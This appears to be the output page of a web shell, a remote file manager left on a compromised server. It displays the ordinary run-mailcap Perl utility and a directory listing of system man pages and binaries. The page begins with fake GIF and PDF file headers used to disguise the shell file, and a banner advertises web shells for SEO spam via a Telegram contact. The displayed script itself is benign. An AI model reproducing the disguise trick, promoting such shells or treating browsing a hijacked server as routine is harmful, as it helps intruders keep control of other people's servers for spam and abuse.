GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#! /usr/bin/perl
###############################################################################
#
# Run-Mailcap: Run a program specified in the mailcap file based on a mime
# type.
#
# Written by Brian White <bcwhite@pobox.com>
# This file has been placed in the public domain (the only true "free").
#
###############################################################################
use Encode qw(decode);
use I18N::Langinfo qw(langinfo CODESET);
use File::Spec;
$debug=($ENV{RUN_MAILCAP_DEBUG} || 0);
$norun=0;
$nopager=0;
$etcmimetyp="/etc/mime.types";
$shrmimetyp="/usr/share/etc/mime.types";
$locmimetyp="/usr/local/etc/mime.types";
$usrmimetyp="$ENV{HOME}/.mime.types";
$xtermprgrm="/usr/bin/x-terminal-emulator"; # xterm?
$defmimetyp="application/octet-stream";
$quotedsemi=chr(255);
$quotedprct=chr(254);
$retcode=0;
sub Usage {
my($error) = @_;
print STDERR $error,"\n\n" if $error;
print STDERR "Use: $0 <--action=VAL> [--debug] [MIME-TYPE:[ENCODING:]]FILE [...]\n\n";
print STDERR "Options:\n";
print STDERR " action specify what action to do on these files (default=view)\n";
print STDERR " debug be verbose about what's going on\n";
print STDERR " nopager ignore any \"copiousoutput\" directives and never use a \"pager\"\n";
print STDERR " norun just print but don't execute the command (useful with --debug)\n";
print STDERR "\n";
print STDERR "Mime-Type:\n";
print STDERR " any standard mime type designation in the form <class>/<subtype> -- if\n";
print STDERR " not specified, it will be determined from the filename extension\n\n";
print STDERR "Encoding:\n";
print STDERR " how the file (and type) has been encoded (only \"gzip\", \"bzip2,\"\n";
print STDERR " \"xz\" and \"compress\" are supported) -- if not specified, it will be\n";
print STDERR " determined from the filename extension\n\n";
exit ($error ? 1 : 0);
}
sub EncodingForFile {
my($file) = @_;
my $encoding;
if ($file =~ m/\.gz$/) { $encoding = "gzip"; }
if ($file =~ m/\.bz2$/) { $encoding = "bzip2"; }
if ($file =~ m/\.xz$/) { $encoding = "xz"; }
if ($file =~ m/\.Z$/) { $encoding = "compress"; }
print STDERR " - file \"$file\" has encoding \"$encoding\"\n" if $debug && $encoding;
return $encoding;
}
sub ReadMimetypes {
my($file) = @_;
print STDERR " - Reading mime.types file \"$file\"...\n" if $debug;
unless (open(MIMETYPES,'<',$file)) {
# Quietly ignore an unreadable file, perhaps non-existent, perhaps
# permission denied.
print STDERR " could not read \"$file\" -- $!\n" if $debug;
return;
}
while (<MIMETYPES>) {
chomp;
s/\#.*$//;
next if (m/^\s*$/);
$_=lc($_);
my($type,@exts) = split;
foreach (@exts) {
$mimetypes{$_} = $type unless exists $mimetypes{$_};
}
}
close MIMETYPES;
}
sub ReadMailcap {
my($file) = @_;
my $line = "";
print STDERR " - Reading mailcap file \"$file\"...\n" if $debug;
unless (open(MAILCAP,'<',$file)) {
# Quietly ignore an unreadable file, perhaps non-existent, perhaps
# permission denied.
print STDERR " could not read \"$file\" -- $!\n" if $debug;
return;
}
while (<MAILCAP>) {
chomp;
s/^\s+// if $line;
$line .= $_;
next unless $line;
if ($line =~ m/^\s*\#/) {
$line = "";
next;
}
if ($line =~ m/\\$/) {
$line =~ s/\\$//;
} else {
$line =~ s/\\;/$quotedsemi/go;
$line =~ s/\\%/$quotedprct/go;
push @mailcap,$line;
$line = "";
}
}
close MAILCAP;
}
sub TempFile {
my($template) = @_;
my($cmd,$head,$tail,$tmpfile);
$template = "" unless (defined $template);
($head,$tail) = split(/%s/,$template,2);
# $tmpfile = POSIX::tmpnam($name);
# unlink($tmpfile);
$cmd = "mktemp --tmpdir";
$cmd .= " ${head}XXXXXXXXXX" if $head;
$cmd .= " --suffix $tail" if $tail;
$tmpfile = `$cmd`;
chomp($tmpfile);
# $tmpfile = $ENV{TMPDIR};
# $tmpfile = "/tmp" unless $tmpfile;
# $tmpfile.= "/$name";
# unlink($tmpfile);
return $tmpfile;
}
sub SaveStdin {
my($match) = @_;
my($tmpfile,$amt,$buf);
$tmpfile = $1 if ($match =~ m/nametemplate=(.*?)\s*($|;)/);
$tmpfile = TempFile($tmpfile);
open(TMPFILE,">$tmpfile") || die "Error: could not write \"$tmpfile\" -- $!\n";
do {
$amt = read(STDIN,$buf,102400);
print TMPFILE $buf if $amt;
} while ($amt != 0);
close(TMPFILE);
return $tmpfile;
}
sub DecodeFile {
my($efile,$encoding,$action) = @_;
my($file,$res);
$file = $efile;
$file =~ s!^.*/!!; # remove leading directories
$file =~ s!\.[^\.]*$!!; # remove encoding extension
$file =~ s!^\.?[^\.]*!%s!; # replace name with placeholder
$file = undef if ($efile eq '-');
my $tmpfile = TempFile($file);
print STDERR " - decoding \"$efile\" as \"$tmpfile\"\n" if $debug;
# unlink($tmpfile); # should still be acceptable for "compose" output even if exists
return $tmpfile if (($efile ne '-' && ! -e $efile) || $action eq 'compose');
if ($encoding eq "gzip") {
if ($efile eq '-') {
$res = system "gzip -d >\Q$tmpfile\E";
} else {
$res = system "gzip -dc \Q$efile\E >\Q$tmpfile\E";
}
} elsif ($encoding eq "bzip2") {
if ($efile eq '-') {
$res = system "bzip2 -d >\Q$tmpfile\E";
} else {
$res = system "bzip2 -dc <\Q$efile\E >\Q$tmpfile\E";
}
} elsif ($encoding eq "xz") {
if ($efile eq '-') {
$res = system "xz -d >\Q$tmpfile\E";
} else {
$res = system "xz -dc <\Q$efile\E >\Q$tmpfile\E";
}
} elsif ($encoding eq "compress") {
if ($efile eq '-') {
$res = system "uncompress >\Q$tmpfile\E";
} else {
$res = system "uncompress <\Q$efile\E >\Q$tmpfile\E";
}
} else {
die "Fatal: unknown encoding \"$encoding\" at";
}
$res = int($res/256);
if ($res != 0) {
print STDERR "Error: could not decode \"$efile\" -- $!\n";
$retcode = 2 if ($retcode < 2);
unlink($tmpfile);
return;
}
# chmod 0600,$tmpfile; # done already by TempFile
return $tmpfile;
}
sub EncodeFile {
my($dfile,$efile,$encoding) = @_;
my($res);
print STDERR " - encoding \"$dfile\" as \"$efile\"\n";
if ($encoding eq "gzip") {
if ($efile eq '-') {
$res = system "gzip -c \Q$dfile\E";
} else {
$res = system "gzip -c \Q$dfile\E >\Q$efile\E";
}
} elsif ($encoding eq "xz") {
if ($efile eq '-') {
$res = system "xz < \Q$dfile\E";
} else {
$res = system "xz < \Q$dfile\E >\Q$efile\E";
}
} elsif ($encoding eq "compress") {
if ($efile eq '-') {
$res = system "compress <\Q$dfile\E";
} else {
$res = system "compress <\Q$dfile\E >\Q$efile\E";
}
} else {
die "Fatal: unknown encoding \"$encoding\" at";
}
$res = int($res/256);
if ($res != 0) {
print STDERR "Error: could not encode \"$efile\" (left as \"$dfile\")\n";
$retcode = 2 if ($retcode < 2);
return;
}
return $dfile;
}
sub ExtensionMimetype {
my($file) = @_;
my($ext) = ($file =~ m!\.([^/\.]+)$!);
my($typ);
if ($ext) {
unless ($donemimetypes) {
ReadMimetypes($usrmimetyp);
ReadMimetypes($locmimetyp);
ReadMimetypes($shrmimetyp);
ReadMimetypes($etcmimetyp);
$donemimetypes = 1;
}
$typ = $mimetypes{lc($ext)};
print STDERR " - extension \"$ext\" maps to mime-type \"$typ\"\n" if $debug;
}
return $typ;
}
sub MagicMimetype {
my($file) = @_;
my($typ);
if (`command -v file`) {
open(READER, "-|", "file", "-b", "--mime-type", "-e", "tokens", "-L", "-z", $file);
$typ = <READER>;
chomp $typ;
print STDERR " - file command returned mime-type \"$typ\"\n" if $debug;
}
return $typ;
}
@files = ();
foreach (@ARGV) {
print STDERR " - parsing parameter \"$_\"\n" if $debug;
if (m!^(-h|--help)$!) {
Usage();
exit(0);
} elsif (m!^--(.*?)=(.*)$!) {
print STDERR "Warning: definition of \"$1=$2\" overrides value \"${$1}\"\n" if ($ {$1} && $ {$1} != $2);
$ {$1}=$2;
} elsif (m!^--(.*?)$!) {
print STDERR "Warning: definition of \"$1=$2\" overrides value \"${$1}\"\n" if ($ {$1} && $ {$1} != 1);
$ {$1}=1;
} elsif (m!^[^/:]+/[^/:]+:[^/:]+:!) {
push @files,$_;
} elsif (m!^([^/:]+/[^/:]+):(.*)! && ! -e $_) {
my $file = $_;
my $type = $1;
my $file = $2;
my $code = EncodingForFile($file);
push @files,"${type}:${code}:${file}";
print STDERR " - file \"$file\" does not exist -- assuming mime-type specification of \"${type}\"\n" if $debug;
} else {
my $file = $_;
my $code = EncodingForFile($file);
my $type;
if ($code) {
my $efile = $file;
$efile =~ s/\.[^\.]+$//;
$type = ExtensionMimetype($efile);
} else {
$type = ExtensionMimetype($file);
}
$type = MagicMimetype($file) unless $type;
if ($type) {
push @files,"${type}:${code}:${file}";
} else {
print STDERR "Warning: unknown mime-type for \"$file\" -- using \"$defmimetyp\"\n";
push @files,"${defmimetyp}:${code}:${file}";
}
}
}
# Pass --debug to sub-calls to this program.
$ENV{RUN_MAILCAP_DEBUG} = 1 if $debug;
unless ($action) {
if ($0 =~ m!(^|/)(mime-)?view$!) { $action="view"; }
elsif ($0 =~ m!(^|/)(mime-)?see$!) { $action="view"; }
elsif ($0 =~ m!(^|/)(mime-)?cat$!) { $action="cat"; }
elsif ($0 =~ m!(^|/)(mime-)?edit$!) { $action="edit"; }
elsif ($0 =~ m!(^|/)(mime-)?change$!) { $action="edit"; }
elsif ($0 =~ m!(^|/)(mime-)?compose$!) { $action="compose";}
elsif ($0 =~ m!(^|/)(mime-)?print$!) { $action="print"; }
elsif ($0 =~ m!(^|/)(mime-)?create$!) { $action="compose";}
else { $action="view"; }
}
$mailcaps = $ENV{MAILCAPS};
$mailcaps = "$ENV{HOME}/.mailcap:/etc/mailcap:/usr/local/etc/mailcap:/usr/share/etc/mailcap:/usr/etc/mailcap" unless $mailcaps;
foreach (split(/:/,$mailcaps)) {
ReadMailcap($_);
}
foreach (@files) {
my($type,$code,$file) = m/^(.*?):(.*?):(.*)$/;
print STDERR "Processing file \"$file\" of type \"$type\" (encoding=",$code?$code:"none",")...\n" if $debug;
if ($file ne '-') {
if ($action eq 'compose' || $action eq 'edit') {
if (-e $file) {
if (! -w $file) {
print STDERR "Error: no write permission for file \"$file\"\n";
$retcode = 2 if ($retcode < 2);
next;
}
} else {
if (open(TEST,">$file")) {
close(TEST);
unlink($file);
} else {
print STDERR "Error: no write permission for file \"$file\"\n";
$retcode = 2 if ($retcode < 2);
next;
}
}
} else {
if (! -e $file) {
print STDERR "Error: no such file \"$file\"\n";
$retcode = 2 if ($retcode < 2);
next;
}
if (! -r $file) {
print STDERR "Error: no read permission for file \"$file\"\n";
$retcode = 2 if ($retcode < 2);
next;
}
}
}
my(@matches,$entry,$res,$efile);
if ($code) {
$efile = $file;
$file = DecodeFile($efile,$code,$action);
next unless $file;
}
foreach $entry (@mailcap) {
$entry =~ m/^(.*?)\s*;/;
$_ = "\Q$1\E"; s/\\\*/\.\*/g;
push @matches,$entry if ($type =~ m!^$_$!i);
}
@matches = grep(/\Q$action\E=/,@matches) unless ($action eq "view" || $action eq "cat");
my $done=0;
my $fail=0;
my $needsterminal;
foreach $match (@matches) {
my $comm;
print STDERR " - checking mailcap entry \"$match\"\n" if $debug;
if ($action eq "view" || $action eq "cat") {
($comm) = ($match =~ m/^.*?;\s*(.*?)\s*($|;)/);
} else {
($comm) = ($match =~ m/\Q$action\E=(.*?)\s*($|;)/);
}
next if (!$comm || $comm =~ m!(^|/)false$!i);
print STDERR " - program to execute: $comm\n" if $debug;
if ($action eq 'cat' && $match !~ m/;\s*copiousoutput\s*($|;)/) {
print STDERR " - \"copiousoutput\" is required for \"cat\" action\n" if $debug;
$fail++;
next;
}
my($tmpfile,$tmplink);
if ($action ne 'print' && $match =~ m/;\s*needsterminal\s*($|;)/) {
$needsterminal = 1;
if (-t STDOUT) {
print STDERR " - needsterminal is satisfied by stdout\n" if $debug;
} else {
if ($ENV{DISPLAY}) {
$comm = "$xtermprgrm -T '$file ($type)' -e $0 --action=$action '${type}:%s'";
} else {
print STDERR " - no terminal available for rule (needsterminal)\n" if $debug;
$fail++;
next;
}
}
} elsif ($action eq 'view' && !$nopager && $match =~ m/;\s*copiousoutput\s*($|;)/ && $type ne 'text/plain') {
$comm .= " | $0 --action=$action text/plain:-";
}
if ($match =~ m/;\s*test=(.*?)\s*($|;)/) {
my $test;
print STDERR " - running test: $1 " if $debug;
$test = system "$1 >/dev/null 2>&1";
$test >>= 8;
print STDERR " (result=$test=",($test!=0?"false":"true"),")\n" if $debug;
if ($test) {
$fail++;
next;
}
}
if ($file ne "-") {
# Resolve file name to an absolute path
$file = File::Spec->rel2abs($file);
if (decode(langinfo(CODESET()), $file) =~ m![^[:alnum:],.:/@%^+=_-]!i) {
$match =~ m/nametemplate=(.*?)\s*($|;)/;
my $prefix = $1;
my $linked = 0;
while (!$linked) {
$tmplink = TempFile($prefix);
unlink($tmplink);
$linked = symlink($file,$tmplink);
}
$file = $tmplink;
print STDERR " - filename contains shell meta-characters; aliased to '$tmplink'\n" if $debug;
}
if ($comm =~ m/[^%]%s/) {
$comm =~ s/([^%])%s/$1$file/g;
} else {
if ($comm =~ m/\|/) {
$comm =~ s/\|/<\Q$file\E \|/;
} else {
$comm .= " <\Q$file\E";
}
if ($action eq 'edit' || $action eq 'compose') {
$comm .= " >\Q$file\E";
}
}
} else {
if ($comm =~ m/[^%]%s/) {
$tmpfile = SaveStdin($match);
$comm =~ s/([^%])%s/$1$tmpfile/g;
# If needsterminal then redirect stdin to the tty which is
# on stdout, rather than leaving it as the input data stream
# which has now been read through to EOF.
#
# Some programs such as "more" and "less" already use
# /dev/tty rather than stdin. But "vim" on non-tty stdin
# gives a warning message and then leaves the tty in raw
# mode on exit. Or "nvi" refuses to run at all unless both
# stdin and stdout are the tty.
#
# RFC 1524 is silent on exactly what a program with
# "needsterminal" should expect, but it seems sensible to
# arrange that both stdin and stdout are the terminal for
# "needsterminal" with "%s".
#
if ($needsterminal) {
$comm .= ' <&1';
}
} else {
# no name means same as "-"... read from stdin
}
}
$comm =~ s!([^%])%t!$1$type!g;
$comm =~ s!([^%])%F!$1!g;
$comm =~ s!%\{(.*?)}!$_="'$ENV{$1}'";s/\`//g;s/\'\'//g;$_!ge;
$comm =~ s!\\(.)!$1!g;
$comm =~ s!\'\'!\'!g;
$comm =~ s!$quotedsemi!;!go;
$comm =~ s!$quotedprct!%!go;
print STDERR " - executing: $comm\n" if $debug;
if ($norun) {
print $comm,"\n";
$res = 0;
} else {
$res = system $comm;
if ($res != 0) {
if (!($res & 0xFF)) {
print STDERR "Warning: program returned non-zero exit code \#$res\n";
$retcode = $res >> 8;
} elsif ($res == -1) {
print STDERR "Error: program failed to execute: $!\n";
$retcode = -1;
} else {
my $signal = $? & 0x7F;
my $core = ($? & 0x80) ? ' (core dumped)' : '';
print STDERR "Warning: program died on signal ${signal}${core}\n";
$retcode = -1;
}
}
}
$done=1;
unlink $tmpfile if $tmpfile;
unlink $tmplink if $tmplink;
last;
}
if (!$done) {
if ($fail) {
print STDERR "Error: no \"$action\" rule for type \"$type\" passed its test case\n";
print STDERR " (for more information, add \"--debug=1\" on the command line)\n";
$retcode = 3 if ($retcode < 3);
} else {
print STDERR "Error: no \"$action\" mailcap rules found for type \"$type\"\n";
$retcode = 3 if ($retcode < 3);
}
unlink $file if $code;
$retcode = 1 unless $retcode;
next;
}
if ($code) {
if ($action eq 'edit' || $action eq 'compose') {
my $file = EncodeFile($file,$efile,$code);
unlink $file if $file;
} else {
unlink $file;
}
}
}
exit($retcode);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ABORT.7.gz | File | 1.03 KB | 0644 |
|
| ALTER_AGGREGATE.7.gz | File | 1.64 KB | 0644 |
|
| ALTER_COLLATION.7.gz | File | 2.27 KB | 0644 |
|
| ALTER_CONVERSION.7.gz | File | 1.09 KB | 0644 |
|
| ALTER_DATABASE.7.gz | File | 2.06 KB | 0644 |
|
| ALTER_DEFAULT_PRIVILEGES.7.gz | File | 2.54 KB | 0644 |
|
| ALTER_DOMAIN.7.gz | File | 2.61 KB | 0644 |
|
| ALTER_EVENT_TRIGGER.7.gz | File | 961 B | 0644 |
|
| ALTER_EXTENSION.7.gz | File | 2.29 KB | 0644 |
|
| ALTER_FOREIGN_DATA_WRAPPER.7.gz | File | 1.56 KB | 0644 |
|
| ALTER_FOREIGN_TABLE.7.gz | File | 3.82 KB | 0644 |
|
| ALTER_FUNCTION.7.gz | File | 2.86 KB | 0644 |
|
| ALTER_GROUP.7.gz | File | 1.25 KB | 0644 |
|
| ALTER_INDEX.7.gz | File | 2.67 KB | 0644 |
|
| ALTER_LANGUAGE.7.gz | File | 845 B | 0644 |
|
| ALTER_LARGE_OBJECT.7.gz | File | 895 B | 0644 |
|
| ALTER_MATERIALIZED_VIEW.7.gz | File | 1.63 KB | 0644 |
|
| ALTER_OPERATOR.7.gz | File | 1.29 KB | 0644 |
|
| ALTER_OPERATOR_CLASS.7.gz | File | 1.06 KB | 0644 |
|
| ALTER_OPERATOR_FAMILY.7.gz | File | 2.84 KB | 0644 |
|
| ALTER_POLICY.7.gz | File | 1.2 KB | 0644 |
|
| ALTER_PROCEDURE.7.gz | File | 2.38 KB | 0644 |
|
| ALTER_PUBLICATION.7.gz | File | 1.63 KB | 0644 |
|
| ALTER_ROLE.7.gz | File | 2.97 KB | 0644 |
|
| ALTER_ROUTINE.7.gz | File | 1.32 KB | 0644 |
|
| ALTER_RULE.7.gz | File | 917 B | 0644 |
|
| ALTER_SCHEMA.7.gz | File | 951 B | 0644 |
|
| ALTER_SEQUENCE.7.gz | File | 2.88 KB | 0644 |
|
| ALTER_SERVER.7.gz | File | 1.32 KB | 0644 |
|
| ALTER_STATISTICS.7.gz | File | 1.28 KB | 0644 |
|
| ALTER_SUBSCRIPTION.7.gz | File | 2.15 KB | 0644 |
|
| ALTER_SYSTEM.7.gz | File | 1.6 KB | 0644 |
|
| ALTER_TABLE.7.gz | File | 14.02 KB | 0644 |
|
| ALTER_TABLESPACE.7.gz | File | 1.33 KB | 0644 |
|
| ALTER_TEXT_SEARCH_CONFIGURATION.7.gz | File | 1.46 KB | 0644 |
|
| ALTER_TEXT_SEARCH_DICTIONARY.7.gz | File | 1.41 KB | 0644 |
|
| ALTER_TEXT_SEARCH_PARSER.7.gz | File | 846 B | 0644 |
|
| ALTER_TEXT_SEARCH_TEMPLATE.7.gz | File | 851 B | 0644 |
|
| ALTER_TRIGGER.7.gz | File | 1.17 KB | 0644 |
|
| ALTER_TYPE.7.gz | File | 3.43 KB | 0644 |
|
| ALTER_USER.7.gz | File | 1021 B | 0644 |
|
| ALTER_USER_MAPPING.7.gz | File | 1.34 KB | 0644 |
|
| ALTER_VIEW.7.gz | File | 1.84 KB | 0644 |
|
| ANALYZE.7.gz | File | 3.9 KB | 0644 |
|
| BEGIN.7.gz | File | 1.69 KB | 0644 |
|
| CALL.7.gz | File | 1.3 KB | 0644 |
|
| CHECKPOINT.7.gz | File | 910 B | 0644 |
|
| CLOSE.7.gz | File | 1.13 KB | 0644 |
|
| CLUSTER.7.gz | File | 2.67 KB | 0644 |
|
| COMMENT.7.gz | File | 3.6 KB | 0644 |
|
| COMMIT.7.gz | File | 1.02 KB | 0644 |
|
| COMMIT_PREPARED.7.gz | File | 1.04 KB | 0644 |
|
| COPY.7.gz | File | 9.98 KB | 0644 |
|
| CREATE_ACCESS_METHOD.7.gz | File | 1.13 KB | 0644 |
|
| CREATE_AGGREGATE.7.gz | File | 7.43 KB | 0644 |
|
| CREATE_CAST.7.gz | File | 4.68 KB | 0644 |
|
| CREATE_COLLATION.7.gz | File | 2.21 KB | 0644 |
|
| CREATE_CONVERSION.7.gz | File | 1.63 KB | 0644 |
|
| CREATE_DATABASE.7.gz | File | 3.43 KB | 0644 |
|
| CREATE_DOMAIN.7.gz | File | 2.93 KB | 0644 |
|
| CREATE_EVENT_TRIGGER.7.gz | File | 1.61 KB | 0644 |
|
| CREATE_EXTENSION.7.gz | File | 2.74 KB | 0644 |
|
| CREATE_FOREIGN_DATA_WRAPPER.7.gz | File | 1.76 KB | 0644 |
|
| CREATE_FOREIGN_TABLE.7.gz | File | 4.26 KB | 0644 |
|
| CREATE_FUNCTION.7.gz | File | 8.82 KB | 0644 |
|
| CREATE_GROUP.7.gz | File | 882 B | 0644 |
|
| CREATE_INDEX.7.gz | File | 9.36 KB | 0644 |
|
| CREATE_LANGUAGE.7.gz | File | 2.47 KB | 0644 |
|
| CREATE_MATERIALIZED_VIEW.7.gz | File | 1.7 KB | 0644 |
|
| CREATE_OPERATOR.7.gz | File | 2.55 KB | 0644 |
|
| CREATE_OPERATOR_CLASS.7.gz | File | 2.92 KB | 0644 |
|
| CREATE_OPERATOR_FAMILY.7.gz | File | 1.35 KB | 0644 |
|
| CREATE_POLICY.7.gz | File | 5.35 KB | 0644 |
|
| CREATE_PROCEDURE.7.gz | File | 3.78 KB | 0644 |
|
| CREATE_PUBLICATION.7.gz | File | 2.36 KB | 0644 |
|
| CREATE_ROLE.7.gz | File | 4.63 KB | 0644 |
|
| CREATE_RULE.7.gz | File | 3.37 KB | 0644 |
|
| CREATE_SCHEMA.7.gz | File | 2.23 KB | 0644 |
|
| CREATE_SEQUENCE.7.gz | File | 3.51 KB | 0644 |
|
| CREATE_SERVER.7.gz | File | 1.55 KB | 0644 |
|
| CREATE_STATISTICS.7.gz | File | 3.26 KB | 0644 |
|
| CREATE_SUBSCRIPTION.7.gz | File | 2.68 KB | 0644 |
|
| CREATE_TABLE.7.gz | File | 17.48 KB | 0644 |
|
| CREATE_TABLESPACE.7.gz | File | 1.91 KB | 0644 |
|
| CREATE_TABLE_AS.7.gz | File | 2.75 KB | 0644 |
|
| CREATE_TEXT_SEARCH_CONFIGURATION.7.gz | File | 1.17 KB | 0644 |
|
| CREATE_TEXT_SEARCH_DICTIONARY.7.gz | File | 1.28 KB | 0644 |
|
| CREATE_TEXT_SEARCH_PARSER.7.gz | File | 1.31 KB | 0644 |
|
| CREATE_TEXT_SEARCH_TEMPLATE.7.gz | File | 1.28 KB | 0644 |
|
| CREATE_TRANSFORM.7.gz | File | 2.04 KB | 0644 |
|
| CREATE_TRIGGER.7.gz | File | 7.05 KB | 0644 |
|
| CREATE_TYPE.7.gz | File | 9.5 KB | 0644 |
|
| CREATE_USER.7.gz | File | 986 B | 0644 |
|
| CREATE_USER_MAPPING.7.gz | File | 1.41 KB | 0644 |
|
| CREATE_VIEW.7.gz | File | 4.67 KB | 0644 |
|
| DEALLOCATE.7.gz | File | 813 B | 0644 |
|
| DECLARE.7.gz | File | 3.87 KB | 0644 |
|
| DELETE.7.gz | File | 2.75 KB | 0644 |
|
| DISCARD.7.gz | File | 1.22 KB | 0644 |
|
| DO.7.gz | File | 1.39 KB | 0644 |
|
| DROP_ACCESS_METHOD.7.gz | File | 948 B | 0644 |
|
| DROP_AGGREGATE.7.gz | File | 1.44 KB | 0644 |
|
| DROP_CAST.7.gz | File | 978 B | 0644 |
|
| DROP_COLLATION.7.gz | File | 991 B | 0644 |
|
| DROP_CONVERSION.7.gz | File | 977 B | 0644 |
|
| DROP_DATABASE.7.gz | File | 1.25 KB | 0644 |
|
| DROP_DOMAIN.7.gz | File | 990 B | 0644 |
|
| DROP_EVENT_TRIGGER.7.gz | File | 964 B | 0644 |
|
| DROP_EXTENSION.7.gz | File | 1.17 KB | 0644 |
|
| DROP_FOREIGN_DATA_WRAPPER.7.gz | File | 1.01 KB | 0644 |
|
| DROP_FOREIGN_TABLE.7.gz | File | 1.06 KB | 0644 |
|
| DROP_FUNCTION.7.gz | File | 1.61 KB | 0644 |
|
| DROP_GROUP.7.gz | File | 650 B | 0644 |
|
| DROP_INDEX.7.gz | File | 1.41 KB | 0644 |
|
| DROP_LANGUAGE.7.gz | File | 1.13 KB | 0644 |
|
| DROP_MATERIALIZED_VIEW.7.gz | File | 1.01 KB | 0644 |
|
| DROP_OPERATOR.7.gz | File | 1.13 KB | 0644 |
|
| DROP_OPERATOR_CLASS.7.gz | File | 1.33 KB | 0644 |
|
| DROP_OPERATOR_FAMILY.7.gz | File | 1.21 KB | 0644 |
|
| DROP_OWNED.7.gz | File | 1.21 KB | 0644 |
|
| DROP_POLICY.7.gz | File | 1.06 KB | 0644 |
|
| DROP_PROCEDURE.7.gz | File | 2.13 KB | 0644 |
|
| DROP_PUBLICATION.7.gz | File | 907 B | 0644 |
|
| DROP_ROLE.7.gz | File | 1.28 KB | 0644 |
|
| DROP_ROUTINE.7.gz | File | 1.5 KB | 0644 |
|
| DROP_RULE.7.gz | File | 973 B | 0644 |
|
| DROP_SCHEMA.7.gz | File | 1.15 KB | 0644 |
|
| DROP_SEQUENCE.7.gz | File | 1.01 KB | 0644 |
|
| DROP_SERVER.7.gz | File | 1008 B | 0644 |
|
| DROP_STATISTICS.7.gz | File | 1.01 KB | 0644 |
|
| DROP_SUBSCRIPTION.7.gz | File | 1.36 KB | 0644 |
|
| DROP_TABLE.7.gz | File | 1.25 KB | 0644 |
|
| DROP_TABLESPACE.7.gz | File | 1 KB | 0644 |
|
| DROP_TEXT_SEARCH_CONFIGURATION.7.gz | File | 1.05 KB | 0644 |
|
| DROP_TEXT_SEARCH_DICTIONARY.7.gz | File | 1.03 KB | 0644 |
|
| DROP_TEXT_SEARCH_PARSER.7.gz | File | 1.02 KB | 0644 |
|
| DROP_TEXT_SEARCH_TEMPLATE.7.gz | File | 1.02 KB | 0644 |
|
| DROP_TRANSFORM.7.gz | File | 1.02 KB | 0644 |
|
| DROP_TRIGGER.7.gz | File | 1.05 KB | 0644 |
|
| DROP_TYPE.7.gz | File | 1.06 KB | 0644 |
|
| DROP_USER.7.gz | File | 694 B | 0644 |
|
| DROP_USER_MAPPING.7.gz | File | 1.05 KB | 0644 |
|
| DROP_VIEW.7.gz | File | 1.02 KB | 0644 |
|
| END.7.gz | File | 1.04 KB | 0644 |
|
| EXECUTE.7.gz | File | 1.15 KB | 0644 |
|
| EXPLAIN.7.gz | File | 4.9 KB | 0644 |
|
| FETCH.7.gz | File | 3 KB | 0644 |
|
| GRANT.7.gz | File | 4.49 KB | 0644 |
|
| IMPORT_FOREIGN_SCHEMA.7.gz | File | 1.44 KB | 0644 |
|
| INSERT.7.gz | File | 6.96 KB | 0644 |
|
| LISTEN.7.gz | File | 1.76 KB | 0644 |
|
| LOAD.7.gz | File | 1.11 KB | 0644 |
|
| LOCK.7.gz | File | 3.15 KB | 0644 |
|
| MOVE.7.gz | File | 1.22 KB | 0644 |
|
| NOTIFY.7.gz | File | 3.08 KB | 0644 |
|
| PREPARE.7.gz | File | 3.2 KB | 0644 |
|
| PREPARE_TRANSACTION.7.gz | File | 2.2 KB | 0644 |
|
| README | File | 100 B | 0644 |
|
| REASSIGN_OWNED.7.gz | File | 1.18 KB | 0644 |
|
| REFRESH_MATERIALIZED_VIEW.7.gz | File | 1.47 KB | 0644 |
|
| REINDEX.7.gz | File | 5.69 KB | 0644 |
|
| RELEASE_SAVEPOINT.7.gz | File | 1.23 KB | 0644 |
|
| RESET.7.gz | File | 1.14 KB | 0644 |
|
| REVOKE.7.gz | File | 3.21 KB | 0644 |
|
| ROLLBACK.7.gz | File | 1.01 KB | 0644 |
|
| ROLLBACK_PREPARED.7.gz | File | 1.05 KB | 0644 |
|
| ROLLBACK_TO_SAVEPOINT.7.gz | File | 1.57 KB | 0644 |
|
| SAVEPOINT.7.gz | File | 1.41 KB | 0644 |
|
| SECURITY_LABEL.7.gz | File | 2.17 KB | 0644 |
|
| SELECT.7.gz | File | 19.78 KB | 0644 |
|
| SELECT_INTO.7.gz | File | 1.9 KB | 0644 |
|
| SET.7.gz | File | 2.83 KB | 0644 |
|
| SET_CONSTRAINTS.7.gz | File | 1.75 KB | 0644 |
|
| SET_ROLE.7.gz | File | 1.68 KB | 0644 |
|
| SET_SESSION_AUTHORIZATION.7.gz | File | 1.44 KB | 0644 |
|
| SET_TRANSACTION.7.gz | File | 2.97 KB | 0644 |
|
| SHOW.7.gz | File | 1.49 KB | 0644 |
|
| START_TRANSACTION.7.gz | File | 1.2 KB | 0644 |
|
| TABLE.7.gz | File | 38 B | 0644 |
|
| TRUNCATE.7.gz | File | 2.49 KB | 0644 |
|
| UNLISTEN.7.gz | File | 1.11 KB | 0644 |
|
| UPDATE.7.gz | File | 4.84 KB | 0644 |
|
| VACUUM.7.gz | File | 5.03 KB | 0644 |
|
| VALUES.7.gz | File | 2.71 KB | 0644 |
|
| WITH.7.gz | File | 38 B | 0644 |
|
| arptables | File | 219.04 KB | 0755 |
|
| arptables-restore | File | 219.04 KB | 0755 |
|
| arptables-save | File | 219.04 KB | 0755 |
|
| awk | File | 688.46 KB | 0755 |
|
| awk.1.gz | File | 30.16 KB | 0644 |
|
| builtins.7.gz | File | 508 B | 0644 |
|
| clusterdb.1.gz | File | 2.25 KB | 0644 |
|
| createdb.1.gz | File | 2.55 KB | 0644 |
|
| createuser.1.gz | File | 3.17 KB | 0644 |
|
| dropdb.1.gz | File | 2.16 KB | 0644 |
|
| dropuser.1.gz | File | 2.05 KB | 0644 |
|
| ebtables | File | 219.04 KB | 0755 |
|
| ebtables-restore | File | 219.04 KB | 0755 |
|
| ebtables-save | File | 219.04 KB | 0755 |
|
| editor | File | 276.52 KB | 0755 |
|
| editor.1.gz | File | 7.39 KB | 0644 |
|
| ex | File | 3.61 MB | 0755 |
|
